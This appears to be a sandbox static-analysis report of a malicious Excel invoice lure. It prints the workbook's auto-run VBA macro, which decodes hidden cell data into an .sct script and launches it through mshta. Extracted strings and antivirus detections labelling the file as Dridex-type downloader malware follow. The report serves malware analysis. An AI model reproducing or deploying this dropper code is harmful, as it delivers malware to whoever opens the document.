popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each klParamTypeInteger In ActiveWorkbook.Sheets(CStr(Cells(41, 130))).Range(CStr(Cells(68, 116)))
        klLinkStatusOK = Environ(Cells(144, 141)) & Cells(130, 96)
        If klParamTypeInteger.Value <> 0 Then
            klEditionDate = klEditionDate & Chr(klParamTypeInteger.Value - 1300)
        End If
    Next klParamTypeInteger
Open klLinkStatusOK For Output As #1
Print #1, klEditionDate
Close #1
With CreateObject(Cells(122, 88))
.Exec Cells(137, 78) & klLinkStatusOK
End With
End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each klParamTypeInteger In ActiveWorkbook.Sheets(CStr(Cells(41, 130))).Range(CStr(Cells(68, 116)))
        klLinkStatusOK = Environ(Cells(144, 141)) & Cells(130, 96)
        If klParamTypeInteger.Value <> 0 Then
            klEditionDate = klEditionDate & Chr(klParamTypeInteger.Value - 1300)
        End If
    Next klParamTypeInteger
Open klLinkStatusOK For Output As #1
Print #1, klEditionDate
Close #1
With CreateObject(Cells(122, 88))
.Exec Cells(137, 78) & klLinkStatusOK
End With
End Sub

Original

                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
user B
ThisWorkbook
"$"#,##0_);\("$"#,##0\)
"$"#,##0_);[Red]\("$"#,##0\)
"$"#,##0.00_);\("$"#,##0.00\)
"$"#,##0.00_);[Red]\("$"#,##0.00\)
_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)
_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)
_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)
_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)
_-"$"* #,##0.00_-;\-"$"* #,##0.00_-;_-"$"* "-"??_-;_-@_-
dd\-mmm\-yy_)
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
-@_-_) }
##0.00_-
-@_-_) }
##0.00_-
-@_-_) }
##0.00_-
##0.00_-
-@_-_) }
##0.00_-
-@_-_) }
##0.00_-
-@_-_) }
##0.00_-
-@_-_)
##0.00_-
-@_-_)
##0.00_-
-@_-_)
##0.00_-
-@_-_) }
##0.00_-
-@_-_)
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Normal 2
Normal 3
Normal 4
Normal_DG-advise
Normal_JPa Remittance
Output
Warning Text
Sheet1
SSLink_0
SSLink_0
SSLink_1
SSLink_1
SSLink_2
SSLink_2
SSLink_3
SSLink_3
SSLink_4
SSLink_4
SSLink_5
SSLink_5
SSLink_6
SSLink_6
SSLink_7
SSLink_7
SSLink_8
SSLink_8
e%""""""""""
JDDDDDDDDDDDi)
@DDDDDDDDDDDDD
DDDDDDDDDDDDDD)
LDDDDDDDDDDDDD
DDDDDDDDDDDDDD)
LDDDDDDDDDDDDD
DDDDDDDDDDDDDD)
LDDDDDDDDDDDDD
`"""""""""""""
`""""""""""""
DDDDDDDDDDDDD
6#Sq?U k
LDDDDDDDDDDDDD
zZDDDDDDDDDDDDD
w""""""""""""
LDDDDDDDDDDDD
LDDDDDDDDDDDD
E""""""""""""
GDDDDDDDDDDDD
LDDDDDDDDDDDD
LDDDDDDDDDDDD
LDDDDDDDDDDDD
LDDDDDDDDDDDD62,5
'"""""""""""
$"""""r
tDDDDDD
n)_A""""""
tDDDDDD
KGDDDDDDqb?o
ToHi?,<
n,xc1P
);Kh+m
y'UmI%
!""JiE]
jm~\JyY
~o9u&n
czd9w
<m*`eP
E~&"=_
!pQoL]
k37l}5
V]c<f%e
q(>CGes
]'a.L-
Wdgz:{O]
uHn!675
~4fRD[
lwJQ*)S
w*&?>3
kZO?'p
VL%VRf
<u$U k
wjU@O}
jp4\[I
MaL}b6
:8v*3?
1ZLa1yv
k?gu$2
O)+On~
e@Km`c
jNm""r
1Ta?9'
2X_Mlw?
"""WY
^U+heE
&""""""""""
DDDDDDDDDDDDD
DDDDDDDDDDDDD
ODDDDDDDDDDD
EDDDDDDDDDDDDD
LDDDDDDDDDDDDD
DDDDDDDDDDDDDD)
LDDDDDDDDDDDDD
""""""""""""
&"""""""""""
;uGqnA
L""""""""""""J}
@DDDDDDDDDDDD
gDDDDDDDDDDDDD)BZ7gh
xPR`x|G
HO,yG>
}C~9?O>
slXI=?
LXk:y
ZiGq:wogR
)S]^I
{v#?ot
oR<xp
.{%6K;
|`.m)]
:y{Gou
8W~@e|
#vm=>F
Yl}~6bfkl
F3ffgcvv6
Z-f#b:moF
Oeyl?4
sz4b&b
E@6Ki/
FJGz=o
K~y7k6
c&Fbrj
hLMOD=
j1=q F
fg&Zu|dk4f
''ZeXOe
r|4fgbzj
IDAT`R=
,DME,H
ZACch
8#cx&d8'
&hz-d%
&Hj=dm
>Aq)=
&*):_'9
;Jp Gs
N0H`iMM
d))h2+
g0OkUW
N%uLIM
*3l 8Hjn=
XH,y5R
!:;;?>
JCrp9x
F$pb#g8
)ZPIM(
gMI!Me
09ND4~
UOq]63
pMcQM#
`N]3&&
w0oi3\x0S1J
)Q2%J2
SN|$kjE>
3^~m;+W-
.s^Y!.
,Rvf[[;
D&Sbz"1[
W_Q_~)0
rv9l*e
7BSs'nSX
z/b2|m
>_=uu
\!GgG+
.a~Ghn
ikVz>@![
<-u^4}&
0\6v>C
jz)RM
uLMNPv
ohP6v26L:=
_[_PP2
XJds1b
-]z=KV
k{p{2:
P-CSi.
!6>J[{
D$ZO!_
IO29>L{{
ux|&5!
122JG{
7_%5=F
CCC#v.
L"9IWG+
_CM]@\Y
+455)`+
v0|mDU=
"`zTzZ
G1OC}#
"K(S6P
:.jjj)
d~q{EI
_$JvjJ
d0ZK6S$6
<F/L26U`
L~jTA"G
5pQ0j'
]kooYC
zeuZ]K
OyOeR?
VU "t#%h
u(O*+H
4}5j.*
`Hn]wir
f^1Q97
;6"I&R*
5$}PsS
8.4xo/
eijYhn.
u]eH_3
[n9f{z
JS(Pp
"Ms^|C
=d&1m:
<^jp"*_t>
t=ZdYL
wzRj|W
}yX4k^
e:?Zo9
L{.g}^Y
CU=?Ee
v^&zt7
oj;oz
>{Q@:^
l3<sl+
Y3tZG5
9gU/G
Hs<WE[
F=UUoXH
jJS]l+
g&=uL*
P\T(v^
#}G}t
{-S_gu
1D"h@/L
:$Dv1c<
}[n8pNW Kl
yBl(Tw
H;6q-w
a@Nf8^y
Cm(Dw1b>y
g<#Uz5
vlY"M>
LBHtd}
ey!Z06!c
!aLZ\9I
7}]lOl
|;>>Y3
W;!}sC*
2uk*r
2ukjr
<cBfAW-
o(((ED
|e_~G#
jCn_4t
T`x>f^U!
2v9A:P
BHN06if
BHN06ig
"PV>>-
q\[qn
WK/"7M
~C||J>zld7
H_eF3F
d-+oU-C
wESV!>-
<B^!K[i
{m@~v^
!$7&9Fe|
cPK@cdK
4H1K:e
rZ.~Q*
N=i 7!
>[=-uH
^$Ns]9
*m4@`'
NS'ao[B
u{&2n
GYNZ2@
C0]JePTP
A170:L4624
Sheet1
ALLUSERSPROFILE
//klDialogDeleteFormat.sct
Wscript.Shell
mshta
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
W,&#hF
b?Jf0E
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
fouuX}
Sheet1g
Attribut
e VB_Nam
e = "Thi
sWorkboo
0{00020P819-
$0046}
|Global
dCreat
ateDeriv
Bustomi
_Open(
Each kl
ParamTyp
eInteger
In Act
.Sheets
(CStr(Ce
lls(41,
130))).R
inkStatu
41)) &
V.Value
<> 0 Th
Edit0ionD
End IBfC
;A[Out
put As #
eObject
22, 88)
& .Exec
Attribut
e VB_Nam
e = "She@et1"
t0{000
20820-
|Global!
Pre decla
lateDeri
Bustom
Project1
stdole
VBAProject
Office
ThisWorkbook|
_Evaluate
Sheet1
Workbookk
WorkBook_Open
klParamTypeInteger
ActiveWorkbook
Sheets
klLinkStatusOK
Environ
klEditionDateWE
CreateObject
Execzy
Worksheet
VBAProje
stdole>
*\G{00
020430-
6}#2.0#0
#C:\Wind
ows\syst em32\
tlb#OLE
Automati
EOffDic
2DF8D04C
-5BFA-10
1B-BDE5
gram Fil
es\Commo
Micros
oft Shar
ed\OFFIC
E12\MSO.0DLL#
Li`brary
ThisWor
kbookG
B|Shee
S@#e@X
ThisWorkbook
Sheet1
ID="{9402DEEB-103E-40D4-9162-3F31323F6DED}"
Document=ThisWorkbook/&H00000000
Document=Sheet1/&H00000000
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="9E9C4EF2720E1412141214121412"
DPB="3C3EEC90142F152F152F"
GC="DAD80A36A937A93756"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisWorkbook=0, 0, 0, 0, C
Sheet1=0, 0, 0, 0, C
Invoice_730621
Quickbooks, LLC
Microsoft Excel
Quickbooks, LLC
Sheet1
Sheet1!Print_Area
Worksheets
Named Ranges
Microsoft Office Excel 2003 Worksheet
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Arial1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Courier1
Courier1
Arial1
Arial1.
Times New Roman1
Calibri1
Arial1*
Calibri Light1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Comma [0]
Currency
Currency [0]
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Hyperlink
Linked Cell
Neutral
Normal
Normal 4
Output
Percent
Warning Text
TableStyleMedium2PivotStyleLight16
HP LaserJet P3010 Series UPD P
Letter
RRRRRRSRMM
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
Picture 2
ThisWorkbook
Sheet1
_VBA_PROJECT
N0{00020819-0000-0000-C000-000000000046}
N0{00020820-0000-0000-C000-000000000046}
*\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.6#0#C:\Program Files\Microsoft Office\Office12\EXCEL.EXE#Microsoft Excel 12.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.4#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLL#Microsoft Office 12.0 Object Library
ThisWorkbook
0162ee7e78
ThisWorkbook
Sheet1
0262ee7e78
Sheet1
PROJECTwm
PROJECT
SummaryInformation
DocumentSummaryInformation
kThisWorkbook
1Sheet1
CompObj
Antivirus Signature
Bkav Clean
Lionic Clean
Elastic malicious (high confidence)
DrWeb Clean
MicroWorld-eScan VBA.Heur2.Dridex.4.19CF1996.Gen
FireEye VBA.Heur2.Dridex.4.19CF1996.Gen
CAT-QuickHeal Clean
McAfee Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Clean
ClamAV Clean
Kaspersky UDS:Exploit.MSOffice.CVE-2017-8570.gen
BitDefender VBA.Heur2.Dridex.4.19CF1996.Gen
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot Clean
Rising Clean
Ad-Aware VBA.Heur2.Dridex.4.19CF1996.Gen
Sophos Clean
Comodo Clean
F-Secure Clean
Baidu Clean
Zillya Clean
TrendMicro HEUR_VBA.O2
McAfee-GW-Edition BehavesLike.OLE2.Downloader.fg
CMC Clean
Emsisoft VBA.Heur2.Dridex.4.19CF1996.Gen (B)
SentinelOne Clean
GData VBA.Heur2.Dridex.4.19CF1996.Gen
Jiangmin Clean
Avira Clean
MAX malware (ai score=88)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Clean
Cynet Clean
AhnLab-V3 Clean
Acronis Clean
VBA32 Clean
ALYac VBA.Heur2.Dridex.4.19CF1996.Gen
TACHYON Clean
Zoner Probably Heur.W97ShellB
Tencent Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
Panda Clean
Qihoo-360 virus.office.obfuscated.1
No IRMA results available.